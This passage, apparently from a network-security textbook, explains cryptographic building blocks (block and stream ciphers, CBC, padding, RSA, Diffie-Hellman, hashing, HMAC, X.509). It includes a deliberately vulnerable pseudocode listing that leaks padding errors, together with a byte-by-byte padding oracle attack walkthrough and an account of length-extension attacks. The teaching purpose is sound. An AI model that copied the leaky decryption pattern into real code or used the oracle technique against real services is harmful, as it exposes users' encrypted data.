resistor. The trouble with these sorts of sources is they don’t provide much 
data—perhaps only a few hundred bytes every second at best, which isn’t 
enough for a general purpose cryptographic system. A simple 4096-bit RSA 
key requires at least two random 256-byte numbers, which would take sev-
eral seconds to generate.

To make this sampled data go further, cryptographic libraries imple-
ment pseudorandom number generators (PRNGs), which use an initial seed 
value and generate a sequence of numbers that, in theory, shouldn’t be pre-
dictable without knowledge of the internal state of the generator. The qual-
ity of PRNGs varies wildly between libraries: the C library function rand(), 
for instance, is completely useless for cryptographically secure protocols. A 
common mistake is to use a weak algorithm to generate random numbers 
for cryptographic uses.

Symmetric Key Cryptography
The only secure way to encrypt a message is to send a completely random 
key that’s the same size as the message before the encryption can take place 
as a one-time pad. Of course, we don’t want to deal with such large keys. 
Fortunately, we can instead construct a symmetric key algorithm that uses 
mathematical constructs to make a secure cipher. Because the key size is 
considerably shorter than the message you want to send and doesn’t depend 
on how much needs to be encrypted, it’s easier to distribute. 

If the algorithm used has no obvious weakness, the limiting factor for 
security is the key size. If the key is short, an attacker could brute-force the 
key until they find the correct one.
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There are two main types of symmetric ciphers: block and stream 
ciphers. Each has its advantages and disadvantages, and choosing the 
wrong cipher to use in a protocol can seriously impact the security of net-
work communications. 

Block Ciphers
Many well-known symmetric key algorithms, such as the Advanced Encryption 
Standard (AES) and the Data Encryption Standard (DES), encrypt and decrypt 
a fixed number of bits (known as a block) every time the encryption algo-
rithm is applied. To encrypt or decrypt a message, the algorithm requires 
a key. If the message is longer than the size of a block, it must be split into 
smaller blocks and the algorithm applied to each in turn. Each application 
of the algorithm uses the same key, as shown in Figure 7-3. Notice that the 
same key is used for encryption and decryption. 

0x48 0x65 0x6C 0x6C 0x6F 0x21 0x21 0x21

0xF3 0x19 0xAD 0x18 0x2D 0x31 0x22 0x51

Encrypt0xAF 0x4D 0xBF 0xDD 0xE5 0xC0 0x47 0xA6

Key

Plaintext block 

Cipher text block 

0x48 0x65 0x6C 0x6C 0x6F 0x21 0x21 0x21

Decrypt

Cipher text block 

Plaintext block 

0xF3 0x19 0xAD 0x18 0x2D 0x31 0x22 0x51

Figure 7-3: Block cipher encryption

When a symmetric key algorithm is used for encryption, the plaintext 
block is combined with the key as described by the algorithm, resulting in 
the generation of the cipher text. If we then apply the decryption algorithm 
combined with the key to the cipher text, we recover the original plaintext. 
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DES

Probably the oldest block cipher still used in modern applications is the 
DES, which was originally developed by IBM (under the name Lucifer) 
and was published as a Federal Information Processing Standard (FIPS) in 1979. 
The algorithm uses a Feistel network to implement the encryption process. 
A Feistel network, which is common in many block ciphers, operates by 
repeatedly applying a function to the input for a number of rounds. The 
function takes as input the value from the previous round (the original 
plaintext) as well as a specific subkey that is derived from the original key 
using a key-scheduling algorithm.

The DES algorithm uses a 64-bit block size and a 64-bit key. However, 
DES requires that 8 bits of the key be used for error checking, so the effec-
tive key is only 56 bits. The result is a very small key that is unsuitable for 
modern applications, as was proven in 1998 by the Electronic Frontier 
Foundation’s DES cracker—a hardware-key brute-force attacker that was 
able to discover an unknown DES key in about 56 hours. At the time, the 
custom hardware cost about $250,000; today’s cloud-based cracking tools 
can crack a key in less than a day far more cheaply. 

Triple DES

Rather than throwing away DES completely, cryptographers developed a 
modified form that applies the algorithm three times. The algorithm in 
Triple DES (TDES or 3DES) uses three separate DES keys, providing an effec-
tive key size of 168 bits (although it can be proven that the security is actu-
ally lower than the size would suggest). As shown in Figure 7-4, in Triple 
DES, the DES encrypt function is first applied to the plaintext using the 
first key. Next, the output is decrypted using the second key. Then the out-
put is encrypted again using the third key, resulting in the final cipher text. 
The operations are reversed to perform decryption. 

0x48 0x65 0x6C 0x6C 0x6F 0x21 0x21 0x21

0xF3 0x19 0xAD 0x18 0x2D 0x31 0x22 0x51

DES
encrypt

Key 1

Plaintext block 

Cipher text block 

Key 2
Key 3

DES
decrypt DES

encrypt

Figure 7-4: The Triple DES encryption process
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AES

A far more modern encryption algorithm is AES, which is based on the 
algorithm Rijndael. AES uses a fixed block size of 128 bits and can use 
three different key lengths: 128, 192, and 256 bits; they are sometimes 
referred to as AES128, AES192, and AES256, respectively. Rather than 
using a Feistel network, AES uses a substitution-permutation network, which 
consists of two main components: substitution boxes (S-Box) and permutation 
boxes (P-Box). The two components are chained together to form a single 
round of the algorithm. As with the Feistel network, this round can be 
applied multiple times with different values of the S-Box and P-Box to pro-
duce the encrypted output. 

An S-Box is a basic mapping table not unlike a simple substitution 
cipher. The S-Box takes an input, looks it up in a table, and produces 
output. As an S-Box uses a large, distinct lookup table, it’s very helpful in 
identifying particular algorithms. The distinct lookup table provides a very 
large fingerprint, which can be discovered in application executables. I 
explained this in more depth in Chapter 6 when I discussed techniques to 
find unknown cryptographic algorithms by reverse engineering binaries. 

Other Block Ciphers

DES and AES are the block ciphers that you’ll most commonly encounter, 
but there are others, such as those listed in Table 7-1 (and still others in 
commercial products). 

Table 7-1: Common Block Cipher Algorithms

Cipher name Block size (bits) Key size (bits) Year introduced

Data Encryption 
Standard (DES)

64 56 1979

Blowfish 64 32–448 1993

Triple Data Encryption 
Standard (TDES/3DES)

64 56, 112, 168 1998

Serpent 128 128, 192, 256 1998

Twofish 128 128, 192, 256 1998

Camellia 128 128, 192, 256 2000

Advanced Encryption 
Standard (AES)

128 128, 192, 256 2001

The block and key size help you determine which cipher a protocol is 
using based on the way the key is specified or how the encrypted data is 
divided into blocks.

Block Cipher Modes
The algorithm of a block cipher defines how the cipher operates on blocks 
of data. Alone, a block-cipher algorithm has some weaknesses, as you’ll 
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soon see. Therefore, in a real-world protocol, it is common to use the block 
cipher in combination with another algorithm called a mode of operation. 
The mode provides additional security properties, such as making the out-
put of the encryption less predictable. Sometimes the mode also changes 
the operation of the cipher by, for example, converting a block cipher into 
a stream cipher (which I’ll explain in more detail in “Stream Ciphers” on 
page 158). Let’s take a look at some of the more common modes as well as 
their security properties and weaknesses.

Electronic Code Book

The simplest and default mode of operation for block ciphers is Electronic 
Code Book (ECB). In ECB, the encryption algorithm is applied to each fixed-
size block from the plaintext to generate a series of cipher text blocks. 
The size of the block is defined by the algorithm in use. For example, if AES 
is the cipher, each block in ECB mode must be 16 bytes in size. The plain-
text is divided into individual blocks, and the cipher algorithm applied. 
(Figure 7-3 showed the ECB mode at work.) 

Because each plaintext block is encrypted independently in ECB, it 
will always encrypt to the same block of cipher text. As a consequence, ECB 
doesn’t always hide large-scale structures in the plaintext, as in the bitmap 
image shown in Figure 7-5. In addition, an attacker can corrupt or manipu-
late the decrypted data in independent-block encryption by shuffling 
around blocks of the cipher text before it is decrypted. 

Original image Encrypted image

ECB encrypt

Figure 7-5: ECB encryption of a bitmap image

Cipher Block Chaining

Another common mode of operation is Cipher Block Chaining (CBC), which is 
more complex than ECB and avoids its pitfalls. In CBC, the encryption of a 
single plaintext block depends on the encrypted value of the previous block. 
The previous encrypted block is XORed with the current plaintext block, and 
then the encryption algorithm is applied to this combined result. Figure 7-6 
shows an example of CBC applied to two blocks.

At the top of Figure 7-6 are the original plaintext blocks. At the bottom 
is the resulting cipher text generated by applying the block-cipher algo-
rithm as well as the CBC mode algorithm. Before each plaintext block is 
encrypted, the plaintext is XORed with the previous encrypted block. After 
the blocks have been XORed together, the encryption algorithm is applied. 
This ensures that the output cipher text is dependent on the plaintext as 
well as the previous encrypted blocks. 
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0x48 0x65 0x6C 0x6C 0x6F 0x2C 0x20 0x57

0x6A 0xB5 0xA0 0x3A 0xE4 0xF6 0x8A 0x22

Encrypt

0x25 0x39 0x29 0xF7 0x06 0xFA 0xCC 0x40

0x6F 0x72 0x6C 0x64 0x21 0x21 0x21 0x21

0x8F 0xCD 0xAC 0x9E 0x4A 0xC4 0x3B 0x02

Encrypt

IV

XOR operation

0xAF 0x4D 0xBF 0xDD 0xE5 0xC0 0x47 0xA6

Key

Plaintext block 0 

Plaintext block 1 

Cipher text block 0  

Cipher text block 1 

Figure 7-6: The CBC mode of operation

Because the first block of plaintext has no previous cipher text block 
with which to perform the XOR operation, you combine it with a manually 
chosen or randomly generated block called an initialization vector (IV). If the 
IV is randomly generated, it must be sent with the encrypted data, or the 
receiver will not be able to decrypt the first block of the message. (Using a 
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fixed IV is an issue if the same key is used for all communications, because 
if the same message is encrypted multiple times, it will always encrypt to the 
same cipher text.)

To decrypt CBC, the encryption operations are performed in reverse: 
decryption happens from the end of the message to the front, decrypting 
each cipher text block with the key and at each step XORing the decrypted 
block with the encrypted block that precedes it in the cipher text. 

Alternative Modes

Other modes of operation for block ciphers are available, including those 
that can convert a block cipher into a stream cipher, and special modes, 
such as Galois Counter Mode (GCM), which provide data integrity and confi-
dentiality. Table 7-2 lists several common modes of operation and indicates 
whether they generate a block or stream cipher (which I’ll discuss in the 
section “Stream Ciphers” on page 158). To describe each in detail would 
be outside the scope of this book, but this table provides a rough guide for 
further research.

Table 7-2: Common Block Cipher Modes of Operation

Mode name Abbreviation Mode type

Electronic Code Book ECB Block

Cipher Block Chaining CBC Block

Output Feedback OFB Stream

Cipher Feedback CFB Stream

Counter CTR Stream

Galois Counter Mode GCM Stream with data integrity

Block Cipher Padding
Block ciphers operate on a fixed-size message unit: a block. But what if you 
want to encrypt a single byte of data and the block size is 16 bytes? This is 
where padding schemes come into play. Padding schemes determine how to 
handle the unused remainder of a block during encryption and decryption. 

The simplest approach to padding is to pad the extra block space with 
a specific known value, such as a repeating-zero byte. But when you decrypt 
the block, how do you distinguish between padding bytes and meaningful 
data? Some network protocols specify an explicit-length field, which you 
can use to remove the padding, but you can’t always rely on this.

One padding scheme that solves this problem is defined in the Public 
Key Cryptography Standard #7 (PKCS#7). In this scheme, all the padded bytes 
are set to a value that represents how many padded bytes are present. For 
example, if three bytes of padding are present, each byte is set to the value 3, 
as shown in Figure 7-7. 
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'H'
0x48

'e'
0x65

'l'
0x6C

'l'
0x6C

'o'
0x6F

0x03 0x03 0x03

'A'
0x41

'B'
0x42

'C'
0x43

0x05 0x05 0x05 0x05 0x05

5 bytes of data 3 bytes of padding

5 bytes of padding3 bytes of data

Figure 7-7: Examples of PKCS#7 padding

What if you don’t need padding? For instance, what if the last block 
you’re encrypting is already the correct length? If you simply encrypt the 
last block and transmit it, the decryption algorithm will interpret legiti-
mate data as part of a padded block. To remove this ambiguity, the encryp-
tion algorithm must send a final dummy block that only contains padding 
in order to signal to the decryption algorithm that the last block can be 
discarded.

When the padded block is decrypted, the decryption process can eas-
ily verify the number of padding bytes present. The decryption process 
reads the last byte in the block to determine the expected number of 
padding bytes. For example, if the decryption process reads a value of 3, 
it knows that three bytes of padding should be present. The decryption 
process then reads the other two bytes of expected padding, verifying that 
each byte also has a value of 3. If padding is incorrect, either because all 
the expected padding bytes are not the same value or the padding value 
is out of range (the value must be less than or equal to the size of a block 
and greater than 0), an error occurs that could cause the decryption pro-
cess to fail. The manner of failure is a security consideration in itself.

Padding Oracle Attack
A serious security hole, known as the padding oracle attack, occurs when the 
CBC mode of operation is combined with the PKCS#7 padding scheme. The 
attack allows an attacker to decrypt data and in some cases encrypt their own 
data (such as a session token) when sent via this protocol, even if they don’t 
know the key. If an attacker can decrypt a session token, they might recover 
sensitive information. But if they can encrypt the token, they might be able to 
do something like circumvent access controls on a website. 

For example, consider Listing 7-1, which decrypts data from the net-
work using a private DES key. 
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def decrypt_session_token(byte key[])
{

   u byte iv[] = read_bytes(8);
      byte token[] = read_to_end();

   v bool error = des_cbc_decrypt(key, iv, token);

      if(error) {
       w write_string("ERROR");

      } else {
       x write_string("SUCCESS");

      }
}

Listing 7-1: A simple DES decryption from the network

The code reads the IV and the encrypted data from the network u 
and passes it to a DES CBC decryption routine using an internal applica-
tion key v. In this case, it decrypts a client session token. This use case 
is common in web application frameworks, where the client is effectively 
stateless and must send a token with each request to verify its identity. 

The decryption function returns an error condition that signals 
whether the decryption failed. If so, it sends the string ERROR to the client w; 
otherwise, it sends the string SUCCESS x. Consequently, this code provides an 
attacker with information about the success or failure of decrypting an arbi-
trary encrypted block from a client. In addition, if the code uses PKCS#7 
for padding and an error occurs (because the padding doesn’t match the 
correct pattern in the last decrypted block), an attacker could use this 
information to perform the padding oracle attack and then decrypt the 
block of data the attacker sent to a vulnerable service.

This is the essence of the padding oracle attack: by paying attention 
to whether the network service successfully decrypted the CBC-encrypted 
block, the attacker can infer the block’s underlying unencrypted value. 
(The term oracle refers to the fact that the attacker can ask the service a 
question and receive a true or false answer. Specifically, in this case, the 
attacker can ask whether the padding for the encrypted block they sent to 
the service is valid.)

To better understand how the padding oracle attack works, let’s return 
to how CBC decrypts a single block. Figure 7-8 shows the decryption of a 
block of CBC-encrypted data. In this example, the plaintext is the string 
Hello with three bytes of PKCS#7 padding after it.

By querying the web service, the attacker has direct control over the 
original cipher text and the IV. Because each plaintext byte is XORed with 
an IV byte during the final decryption step, the attacker can directly con-
trol the plaintext output by changing the corresponding byte in the IV. In 
the example shown in Figure 7-8, the last byte of the decrypted block is 
0x2B, which gets XORed with the IV byte 0x28 and outputs 0x03, a pad-
ding byte. But if you change the last IV byte to 0xFF, the last byte of the 
cipher text decrypts to 0xD4, which is no longer a valid padding byte, and 
the decryption service returns an error.
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IV

Cipher text

Plaintext

0x1E 0x26 0x70 0x5F 0x2A 0x96 0x65 0x04

'H'
0x48

'e'
0x65

'l'
0x6C

'l'
0x6C

'o'
0x6F

0x03 0x03 0x03

0xAF 0x21 0x9E 0xA5 0x67
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0x88

⊕

0x0D

⊕

0x28

⊕

Decrypted 0xE7 0x44 0xF2 0xC9 0x08 0x8B 0x0E 0x2B

DES decrypt

Figure 7-8: CBC decryption with IV

Now the attacker has everything they need to figure out the padding 
value. They query the web service with dummy cipher texts, trying all pos-
sible values for the last byte in the IV. Whenever the resulting decrypted 
value is not equal to 0x01 (or by chance another valid padding arrange-
ment), the decryption returns an error. But once padding is valid, the 
decryption will return success. 

With this information, the attacker can determine the value of that byte 
in the decrypted block, even though they don’t have the key. For example, 
say the attacker sends the last IV byte as 0x2A. The decryption returns suc-
cess, which means the decrypted byte XORed with 0x2A should equal 0x01. 
Now the attacker can calculate the decrypted value by XORing 0x2A with 
0x01, yielding 0x2B; if the attacker XORs this value with the original IV 
byte (0x28), the result is 0x03, the original padding value, as expected. 

The next step in the attack is to use the IV to generate a value of 0x02 in 
the lowest two bytes of the plaintext. In the same manner that the attacker 
used brute force on the lowest byte earlier, now they can brute force the 
second-to-lowest byte. Next, because the attacker knows the value of the low-
est byte, it’s possible to set it to 0x02 with the appropriate IV value. Then, they 
can perform brute force on the second-to-lowest byte until the decryption is 
successful, which means the second byte now equals 0x02 when decrypted. By 
repeating this process until all bytes have been calculated, an attacker could 
use this technique to decrypt any block.

Stream Ciphers
Unlike block ciphers, which encrypt blocks of a message, stream ciphers 
work at the individual bit level. The most common algorithm used for 
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stream ciphers generates a pseudorandom stream of bits, called the key stream, 
from an initial key. This key stream is then arithmetically applied to the mes-
sage, typically using the XOR operation, to produce the cipher text, as shown 
in Figure 7-9. 

Key stream

Plaintext

Cipher text

'H'
0x48

'e'
0x65

'l'
0x6C

'l'
0x6C

'o'
0x6F

0x82 0xCC 0x19 0xa2 0xF1

⊕ ⊕ ⊕ ⊕ ⊕

0xCA 0xA9 0x75 0xCE 0x9E

XOR operation

Figure 7-9: A stream cipher operation

As long as the arithmetic operation is reversible, all it takes to decrypt 
the message is to generate the same key stream used for encryption and 
perform the reverse arithmetic operation on the cipher text. (In the case of 
XOR, the reverse operation is actually XOR.) The key stream can be gen-
erated using a completely custom algorithm, such as in RC4, or by using a 
block cipher and an accompanying mode of operation. 

Table 7-3 lists some common algorithms that you might find in real-
world applications.

Table 7-3: Common Stream Ciphers

Cipher name Key size (bits) Year introduced

A5/1 and A5/2 (used in 
GSM voice encryption)

54 or 64 1989

RC4 Up to 2048 1993

Counter mode (CTR) Dependent on block cipher N/A

Output Feedback mode (OFB) Dependent on block cipher N/A

Cipher Feedback mode (CFB) Dependent on block cipher N/A

Asymmetric Key Cryptography
Symmetric key cryptography strikes a good balance between security and 
convenience, but it has a significant problem: participants in the network 
need to physically exchange secret keys. This is tough to do when the net-
work spans multiple geographical regions. Fortunately, asymmetric key cryp-
tography (commonly called public key encryption) can mitigate this issue.
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An asymmetric algorithm requires two types of keys: public and private. 
The public key encrypts a message, and the private key decrypts it. Because 
the public key cannot decrypt a message, it can be given to anyone, even 
over a public network, without fear of its being captured by an attacker and 
used to decrypt traffic, as shown in Figure 7-10. 

Plaintext

Cipher text

Encrypt

Public key

Cipher text

Plaintext

Decrypt

Private key

Figure 7-10: Asymmetric key encryption and decryption

Although the public and private keys are related mathematically, asym-
metric key algorithms are designed to make retrieving a private key from 
a public key very time consuming; they’re built upon mathematical primi-
tives known as trapdoor functions. (The name is derived from the concept 
that it’s easy to go through a trapdoor, but if it shuts behind you, it’s dif-
ficult to go back.) These algorithms rely on the assumption that there is no 
workaround for the time-intensive nature of the underlying mathematics. 
However, future advances in mathematics or computing power might dis-
prove such assumptions.

RSA Algorithm
Surprisingly, not many unique asymmetric key algorithms are in common 
use, especially compared to symmetric ones. The RSA algorithm is currently 
the most widely used to secure network traffic and will be for the foreseeable 
future. Although newer algorithms are based on mathematical constructs 
called elliptic curves, they share many general principles with RSA.

The RSA algorithm, first published in 1977, is named after its original 
developers—Ron Rivest, Adi Shamir, and Leonard Adleman. Its security 
relies on the assumption that it’s difficult to factor large integers that are 
the product of two prime numbers.
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Figure 7-11 shows the RSA encryption and decryption process. To gener-
ate a new key pair using RSA, you generate two large, random prime num-
bers, p and q, and then choose a public exponent (e). (It’s common to use the 
value 65537, because it has mathematical properties that help ensure the 
security of the algorithm.) You must also calculate two other numbers: the 
modulus (n), which is the product of p and q, and a private exponent (d), which 
is used for decryption. (The process to generate d is rather complicated and 
beyond the scope of this book.) The public exponent combined with the 
modulus constitutes the public key, and the private exponent and modulus 
form the private key.

For the private key to remain private, the private exponent must be 
kept secret. And because the private exponent is generated from the origi-
nal primes, p and q, these two numbers must also be kept secret.

Plaintext
'H'

0x48
'e'

0x65
'l'

0x6C
'l'

0x6C
'o'

0x6F

0x48656C6C6FMessage (m)

Encrypt

me mod n

0xAABBCCDDEE . . .Cipher text (c) Plaintext

0xAABBCCDDEE . . .Cipher text (c)

Decrypt

c 
d mod n

0x48656C6C6FMessage (m)

'H'
0x48

'e'
0x65

'l'
0x6C

'l'
0x6C

'o'
0x6F

Figure 7-11: A simple example of RSA encryption and decryption

The first step in the encryption process is to convert the message to an 
integer, typically by assuming the bytes of the message actually represent a 
variable-length integer. This integer, m, is raised to the power of the public 
exponent. The modulo operation, using the value of the public modulus n, is 
then applied to the raised integer me. The resulting cipher text is now a value 
between zero and n. (So if you have a 1024-bit key, you can only ever encrypt 
a maximum of 1024 bits in a message.) To decrypt the message, you apply the 
same process, substituting the public exponent for the private one. 
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RSA is very computationally expensive to perform, especially relative 
to symmetric ciphers like AES. To mitigate this expense, very few applica-
tions use RSA directly to encrypt a message. Instead, they generate a ran-
dom session key and use this key to encrypt the message with a symmetric 
cipher, such as AES. Then, when the application wants to send a message to 
another participant on the network, it encrypts only the session key using 
RSA and sends the RSA-encrypted key along with the AES-encrypted mes-
sage. The recipient decrypts the message first by decrypting the session key, 
and then uses the session key to decrypt the actual message. Combining 
RSA with a symmetric cipher like AES provides the best of both worlds: fast 
encryption with public key security.

RSA Padding
One weakness of this basic RSA algorithm is that it is deterministic: if you 
encrypt the same message multiple times using the same public key, RSA 
will always produce the same encrypted result. This allows an attacker to 
mount what is known as a chosen plaintext attack in which the attacker has 
access to the public key and can therefore encrypt any message. In the most 
basic version of this attack, the attacker simply guesses the plaintext of an 
encrypted message. They continue encrypting their guesses using the pub-
lic key, and if any of the encrypted guesses match the value of the original 
encrypted message, they know they’ve successfully guessed the target plain-
text, meaning they’ve effectively decrypted the message without private key 
access.

To counter chosen plaintext attacks, RSA uses a form of padding dur-
ing the encryption process that ensures the encrypted output is nonde-
terministic. (This “padding” is different from the block cipher padding 
discussed earlier. There, padding fills the plaintext to the next block 
boundary so the encryption algorithm has a full block to work with.) 
Two padding schemes are commonly used with RSA: one is specified in 
the Public Key Cryptography Standard #1.5; the other is called Optimal 
Asymmetric Encryption Padding (OAEP). OAEP is recommended for all new 
applications, but both schemes provide enough security for typical use 
cases. Be aware that not using padding with RSA is a serious security 
vulnerability. 

Diffie–Hellman Key Exchange
RSA isn’t the only technique used to exchange keys between network partic-
ipants. Several algorithms are dedicated to that purpose; foremost among 
them is the Diffie–Hellman Key Exchange (DH) algorithm. 

The DH algorithm was developed by Whitfield Diffie and Martin 
Hellman in 1976 and, like RSA, is built upon the mathematical primi-
tives of exponentiation and modular arithmetic. DH allows two partici-
pants in a network to exchange keys and prevents anyone monitoring 
the network from being able to determine what that key is. Figure 7-12 
shows the operation of the algorithm.
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Figure 7-12: The Diffie–Hellman Key Exchange algorithm

The participant initiating the exchange determines a parameter, which 
is a large prime number, and sends it to the other participant: the chosen 
value is not a secret and can be sent in the clear. Then each participant 
generates their own private key value—usually using a cryptographically 
secure random number generator—and computes a public key using this 
private key and a selected group parameter that is requested by the client. 
The public keys can safely be sent between the participants without the risk 
of revealing the private keys. Finally, each participant calculates a shared key 
by combining the other’s public key with their own private key. Both partici-
pants now have the shared key without ever having directly exchanged it. 

DH isn’t perfect. For example, this basic version of the algorithm can’t 
handle an attacker performing a man-in-the-middle attack against the key-
exchange. The attacker can impersonate the server on the network and 
exchange one key with the client. Next, the attacker exchanges a different 
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key with the server, resulting in the attacker now having two separate keys 
for the connection. Then the attacker can decrypt data from the client and 
forward it on to the server, and vice versa. 

Signature Algorithms
Encrypting a message prevents attackers from viewing the information 
being sent over the network, but it doesn’t identify who sent it. Just because 
someone has the encryption key doesn’t mean they are who they say they are. 
With asymmetric encryption, you don’t even need to manually exchange 
the key ahead of time, so anyone can encrypt data with your public key and 
send it to you. 

Signature algorithms solve this problem by generating a unique signature for 
a message. The message recipient can use the same algorithm used to gener-
ate the signature to prove the message came from the signer. As an added 
advantage, adding a signature to a message protects it against tampering if 
it’s being transmitted over an untrusted network. This is important, because 
encrypting data does not provide any guarantee of data integrity; that is, an 
encrypted message can still be modified by an attacker with knowledge of the 
underlying network protocol. 

All signature algorithms are built upon cryptographic hashing algorithms. 
First, I’ll describe hashing in more detail, and then I’ll explain some of the 
most common signature algorithms.

Cryptographic Hashing Algorithms
Cryptographic hashing algorithms are functions that are applied to a mes-
sage to generate a fixed-length summary of that message, which is usually 
much shorter than the original message. These algorithms are also called 
message digest algorithms. The purpose of hashing in signature algorithms is to 
generate a relatively unique value to verify the integrity of a message and to 
reduce the amount of data that needs to be signed and verified. 

For a hashing algorithm to be suitable for cryptographic purposes, it 
has to fulfill three requirements:

Pre-image resistance  Given a hash value, it should be difficult (such 
as by requiring a massive amount of computing power) to recover a 
message.

Collision resistance  It should be difficult to find two different mes-
sages that hash to the same value.

Nonlinearity  It should be difficult to create a message that hashes to 
any given value.

A number of hashing algorithms are available, but the most common 
are members of either the Message Digest (MD) or Secure Hashing Algorithm 
(SHA) families. The Message Digest family includes the MD4 and MD5 



Network Protocol Security   165

algorithms, which were developed by Ron Rivest. The SHA family, which 
contains the SHA-1 and SHA-2 algorithms, among others, is published 
by NIST.

Other simple hashing algorithms, such as checksums and cyclic redun-
dancy checks (CRC), are useful for detecting changes in a set of data; how-
ever, they are not very useful for secure protocols. An attacker can easily 
change the checksum, as the linear behavior of these algorithms makes it 
trivial to determine how the checksum changes, and this modification of 
the data is protected so the target has no knowledge of the change.

Asymmetric Signature Algorithms
Asymmetric signature algorithms use the properties of asymmetric cryptog-
raphy to generate a message signature. Some algorithms, such as RSA, can 
be used to provide the signature and the encryption, whereas others, such 
as the Digital Signature Algorithm (DSA), are designed for signatures only. In 
both cases, the message to be signed is hashed, and a signature is generated 
from that hash. 

Earlier you saw how RSA can be used for encryption, but how can it be 
used to sign a message? The RSA signature algorithm relies on the fact that 
it’s possible to encrypt a message using the private key and decrypt it with 
the public one. Although this “encryption” is no longer secure (the key to 
decrypt the message is now public), it can be used to sign a message.

For example, the signer hashes the message and applies the RSA 
decryption process to the hash using their private key; this encrypted 
hash is the signature. The recipient of the message can convert the signa-
ture using the signer’s public key to get the original hash value and com-
pare it against their own hash of the message. If the two hashes match, the 
sender must have used the correct private key to encrypt the hash; if the 
recipient trusts that the only person with the private key is the signer, the 
signature is verified. Figure 7-13 shows this process.

Message

Message hash

RSA signature

RSA
encrypt 

Private key 

RSA
decrypt 

Public key 

Message hashVerify

Figure 7-13: RSA signature processing
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Message Authentication Codes
Unlike RSA, which is an asymmetric algorithm, Message Authentication Codes 
(MACs) are symmetric signature algorithms. As with symmetric encryption, 
symmetric signature algorithms rely on sharing a key between the sender 
and recipient.

For example, say you want to send me a signed message and we both 
have access to a shared key. First, you’d combine the message with the 
key in some way. (I’ll discuss how to do this in more detail in a moment.) 
Then you’d hash the combination to produce a value that couldn’t easily 
be reproduced without the original message and the shared key. When you 
sent me the message, you’d also send this hash as the signature. I could 
verify that the signature is valid by performing the same algorithm as you 
did: I’d combine the key and message, hash the combination, and compare 
the resulting value against the signature you sent. If the two values were the 
same, I could be sure you’re the one who sent the message.

How would you combine the key and the message? You might be tempted 
to try something simple, such as just prefixing the message with the key and 
hashing to the combined result, as in Figure 7-14. 

Inner padding block Message

MD5

MAC

Figure 7-14: A simple MAC implementation

But with many common hashing algorithms (including MD5 and 
SHA-1), this would be a serious security mistake, because it opens a vul-
nerability known as the length-extension attack. To understand why, you 
need to know a bit about the construction of hashing algorithms.

Length-Extension and Collision Attacks

Many common hashing algorithms, including MD5 and SHA-1, consist of a 
block structure. When hashing a message, the algorithm must first split the 
message into equal-sized blocks to process. (MD5, for example, uses a block 
size of 64 bytes.) 

As the hashing algorithm proceeds, the only state it maintains between 
each block is the hash value of the previous block. For the first block, the 
previous hash value is a set of well-chosen constants. The well-chosen con-
stants are specified as part of the algorithm and are generally important 
for the secure operation. Figure 7-15 shows an example of how this works 
in MD5.
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Figure 7-15: The block structure of MD5
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It’s important to note that the final output from the block-hashing pro-
cess depends only on the previous block hash and the current block of the 
message. No permutation is applied to the final hash value. Therefore, it’s 
possible to extend the hash value by starting the algorithm at the last hash 
instead of the predefined constants and then running through blocks of 
data you want to add to the final hash.

In the case of a MAC in which the key has been prefixed at the start of 
the message, this structure might allow an attacker to alter the message in 
some way, such as by appending extra data to the end of an uploaded file. 
If the attacker can append more blocks to the end of the message, they can 
calculate the corresponding value of the MAC without knowing the key 
because the key has already been hashed into the state of the algorithm by 
the time the attacker has control. 

What if you move the key to the end of the message rather than attach-
ing it to the front? Such an approach certainly prevents the length-extension 
attack, but there’s still a problem. Instead of an extension, the attacker needs 
to find a hash collision—that is, a message with the same hash value as the 
real message being sent. Because many hashing algorithms (including MD5) 
are not collision resistant, the MAC may be open to this kind of collision 
attack. (One hashing algorithm that’s not vulnerable to this attack is SHA-3.)

Hashed Message Authentication Codes

You can use a Hashed Message Authentication Code (HMAC) to counter the 
attacks described in the previous section. Instead of directly appending the 
key to the message and using the hashed output to produce a signature, an 
HMAC splits the process into two parts.

First, the key is XORed with a padding block equal to the block size of 
the hashing algorithm. This first padding block is filled with a repeating 
value, typically the byte 0x36. The combined result is the first key, some-
times called the inner padding block. This is prefixed to the message, and 
the hashing algorithm is applied. The second step takes the hash value 
from the first step, prefixes the hash with a new key (called the outer pad-
ding block, which typically uses the constant 0x5C), and applies the hash 
algorithm again. The result is the final HMAC value. Figure 7-16 diagrams 
this process.

Inner padding block Message

Intermediate hash

MD5

Outer padding block

HMAC

MD5

Figure 7-16: HMAC construction
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This construction is resistant to length-extension and collision attacks 
because the attacker can’t easily predict the final hash value without the key. 

Public Key Infrastructure
How do you verify the identity of the owner of a public key in public key 
encryption? Simply because a key is published with an associated identity—
say, Bob Smith from London—doesn’t mean it really comes from Bob Smith 
from London. For example, if I’ve managed to make you trust my public key 
as coming from Bob, anything you encrypt to him will be readable only by 
me, because I own the private key.

To mitigate this threat, you implement a Public Key Infrastructure (PKI), 
which refers to the combined set of protocols, encryption key formats, user 
roles, and policies used to manage asymmetric public key information across 
a network. One model of PKI, the web of trust (WOT), is used by such applica-
tions as Pretty Good Privacy (PGP). In the WOT model, the identity of a public 
key is attested to by someone you trust, perhaps someone you’ve met in per-
son. Unfortunately, although the WOT works well for email, where you’re 
likely to know who you’re communicating with, it doesn’t work as well for 
automated network applications and business processes. 

X.509 Certificates
When a WOT won’t do, it’s common to use a more centralized trust model, 
such as X.509 certificates, which generate a strict hierarchy of trust rather 
than rely on directly trusting peers. X.509 certificates are used to verify 
web servers, sign executable programs, or authenticate to a network service. 
Trust is provided through a hierarchy of certificates using asymmetric sig-
nature algorithms, such as RSA and DSA. 

To complete this hierarchy, valid certificates must contain at least four 
pieces of information: 

• The subject, which specifies the identity for the certificate

• The subject’s public key

• The issuer, which identifies the signing certificate

• A valid signature applied over the certificate and authenticated by the
issuer’s private key

These requirements create a hierarchy called a chain of trust between
certificates, as shown in Figure 7-17. One advantage to this model is that 
because only public key information is ever distributed, it’s possible to pro-
vide root certificates to users via public networks. 
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Sign Sign

Figure 7-17: The X.509 certificate chain of trust

Note that there is usually more than one level in the hierarchy, because 
it would be unusual for the root certificate issuer to directly sign certificates 
used by an application. The root certificate is issued by an entity called a 
certificate authority (CA), which might be a public organization or company 
(such as Verisign) or a private entity that issues certificates for use on inter-
nal networks. The CA’s job is to verify the identity of anyone it issues certifi-
cates to. 

Unfortunately, the amount of actual checking that occurs is not always 
clear; often, CAs are more interested in selling signed certificates than in 
doing their jobs, and some CAs do little more than check whether they’re 
issuing a certificate to a registered business address. Most diligent CAs should 
at least refuse to generate certificates for known companies, such as Microsoft 
or Google, when the certificate request doesn’t come from the company in 
question. By definition, the root certificate can’t be signed by another certifi-
